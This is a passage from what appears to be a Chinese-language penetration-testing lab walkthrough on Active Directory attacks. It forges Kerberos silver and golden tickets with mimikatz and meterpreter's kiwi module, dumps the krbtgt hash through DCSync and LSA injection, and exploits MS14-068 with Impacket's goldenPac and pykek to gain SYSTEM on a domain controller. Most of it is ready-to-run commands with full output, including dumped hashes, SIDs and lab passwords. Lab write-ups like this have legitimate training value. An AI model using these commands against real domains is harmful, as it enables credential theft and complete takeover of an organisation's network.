lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 } 0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO) 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;999 Negotiate DE1AY WEB$ n.s. (Credentials KO)
其中这一条即为需要的Service Hash
1 0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
伪造白银票据 尝试访问主机WEB
需要进行身份验证
伪造票据前先清空票据,保证票据列表干净
1 2 kerberos::list #列出票据 kerberos::purge # 清除票据
伪造票据:
1 mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID
获取域的SID可以通过wmic useraccount where name=”krbtgt” get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt
域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID
注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID
获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:
1 kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt
再次访问WEB服务器,成功
访问DC仍然需要验证:
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:
服务端可能的防御措施: HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters 中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效
黄金票据(Golden Tickets)
需要与DC通信
需要krbtgt用户的Hash(KDC Hash)
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递。
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。
获取krbtgt用户哈希 DCSync (mimikatz) mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
1 lsadump::dcsync /user:krbtgt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 mimikatz # lsadump::dcsync /user:krbtgt [DC] 'de1ay.com' will be the domain [DC] 'DC.de1ay.com' will be the DC server [DC] 'krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 2019/9/9 10:44:59 Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502 Object Relative ID : 502 Credentials: Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb lm - 0: 9b5cd36575630d629f3aa6d769ec91c3 Supplemental Credentials: * Primary:Kerberos-Newer-Keys * Default Salt : DE1AY.COMkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f des_cbc_md5 (4096) : 79c8dc79fe467552 * Primary:Kerberos * Default Salt : DE1AY.COMkrbtgt Credentials des_cbc_md5 : 79c8dc79fe467552 * Packages * Kerberos-Newer-Keys * Primary:WDigest * 01 6486daf200f85102b9a66f0bb698f964 02 618b4df7c8262508a26641b5271693fe 03 657b7f6a13829e21c18da26ee927dd7a 04 6486daf200f85102b9a66f0bb698f964 05 618b4df7c8262508a26641b5271693fe 06 6702b7e06d68443bbd003fa1fd2ad6c2 07 6486daf200f85102b9a66f0bb698f964 08 5057528d4ee40f9ffda5ab89fc76e45c 09 5057528d4ee40f9ffda5ab89fc76e45c 10 ec101c8f1831c5ddefbcdabf2d854077 11 48c89ab471a5a096c8895ca7c9fb8098 12 5057528d4ee40f9ffda5ab89fc76e45c 13 f63f9768f77b7a60dd75f79b210d31c5 14 48c89ab471a5a096c8895ca7c9fb8098 15 334888d42cd914936f94d6c2875f77a3 16 334888d42cd914936f94d6c2875f77a3 17 930580b0e2523dbc40d8b34efc9a83d1 18 d7bb3256dc319c0a9bdbff3ef0b3d618 19 120122f0735a3841c210d145d092d0fc 20 d371f34cf41adb5a09c8507a94066c48 21 61b1669bec1aa4a9873703229854e57d 22 61b1669bec1aa4a9873703229854e57d 23 963efa120b17bf8ea89eb2906fdf0092 24 8a015afc23c33423a0557e59bd6d573c 25 8a015afc23c33423a0557e59bd6d573c 26 a1fa583bfc8008249d6649630aada4a0 27 c13cf2b5ecb0894a09f8dd0831732da4 28 679145bff502118a02f6f3af19067da2 29 e371aa57cba0556074c58686ef433c30
或者在 meterpreter 中使用 kiwi 扩展
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 dcsync_ntlm krbtgt meterpreter > getuid Server username: DE1AY\Administrator meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.1.1 20180925 (x86/windows) .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. meterpreter > dcsync_ntlm krbtgt [+] Account : krbtgt [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb [+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3 [+] SID : S-1-5-21-2756371121-2868759905-3853650604-502 [+] RID : 502
LSA(mimikatz) mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
1 2 privilege::debug lsadump::lsa /inject /name:krbtgt
Hashdump(Meterpreter)
伪造黄金票据 使用meterpreter中的kiwi模块 1 2 3 4 5 6 7 load kiwi 创建票据 golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket> golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket
对域内其他机器进行共享访问,因为无权限失败
注入到内存
1 kerberos_ticket_use /tmp/krbtgt.ticket
再次访问 可成功访问域内其他机器和域控
此时也可使用wmic在WEB机器上执行命令
1 wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"
命令已经在目标服务器上以administrator权限成功执行
使用mimikatz 1 mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
访问另一台机器WEB \\web\C$ 需要身份验证
使用mimikatz伪造黄金票据 进入mimikatz交互界面 使用kerberos::list查看当前凭据列表
发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的
使用前面获得的krbtgt用户的哈希生成黄金票据
SID
1 Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
注意这里的是域SID+RID(-502) RID去掉后才是域SID
NTLM Hash
1 82dfc71b72a11ef37d663047bc2088fb
生成黄金票据并注入内存
1 kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt
查看票据 kerberos::list
再次尝试访问目标服务器WEB
同样也可以访问DC服务器(或域内任意一台机器)
注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议
ms14-068 域提权漏洞 利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限
利用前提
域控机器没有安装MS14-068补丁
获取到域内普通用户的密码/Hash 以及SUID
可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞
利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac模块
先查看当前用户权限
Domain Users用户组
访问DC目录被拒绝
goldenPac 复制goldenPac.exe 到目标机器 目前已获取当前机器普通域用户leo 密码 123.com
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 goldenPac <域名>/<用户名>:<密码>@<域控地址> C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110 [*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183 [*] Attacking domain controller DC.sun.com [*] DC.sun.com found vulnerable! [*] Requesting shares on dc.sun.com..... [*] Found writable share ADMIN$ [*] Uploading file ZVvcTLeF.exe [*] Opening SVCManager on dc.sun.com..... [*] Creating service bzOd on dc.sun.com..... [*] Starting service bzOd..... [!] Press help for extra shell commands Microsoft Windows [░µ▒╛ 6.1.7600] ░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú C:\Windows\system32>whoami nt authority\system C:\Windows\system32>hostname DC
或者使用proxychains将goldenPac代理进内网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] DLL init: proxychains-ng 4.14 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK [*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110 [proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK [*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183 [proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK [*] Attacking domain controller DC.sun.com [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK [*] DC.sun.com found vulnerable! [proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK [*] Requesting shares on dc.sun.com..... [*] Found writable share ADMIN$ [*] Uploading file HJlEFapm.exe [*] Opening SVCManager on dc.sun.com..... [*] Creating service RxAJ on dc.sun.com..... [*] Starting service RxAJ..... SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.) [proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK [proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK [!] Press help for extra shell commands [proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK Microsoft Windows [░µ▒╛ 6.1.7600] ░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú C:\Windows\system32>whoami nt authority\system C:\Windows\system32>hostname DC C:\Windows\system32>
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题
pykek 使用方法:
1 ms14.068.exe -u <用户名>@<域名> -s <SID> -d <DC机器地址或ip> -p <用户密码>
1 2 3 4 5 6 7 8 9 10 11 C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017 12-4030140183-1110 -d dc.sun.com -p 123.com [+] Building AS-REQ for dc.sun.com... Done! [+] Sending AS-REQ to dc.sun.com... Done! [+] Receiving AS-REP from dc.sun.com... Done! [+] Parsing AS-REP from dc.sun.com... Done! [+] Building TGS-REQ for dc.sun.com... Done! [+] Sending TGS-REQ to dc.sun.com... Done! [+] Receiving TGS-REP from dc.sun.com... Done! [+] Parsing TGS-REP from dc.sun.com... Done! [+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!
获得ccache文件后,可使用mimikatz进行票据注入
kerberos::purge或者cmd中执行klist purge
注入完成后再次尝试是否有权限访问域控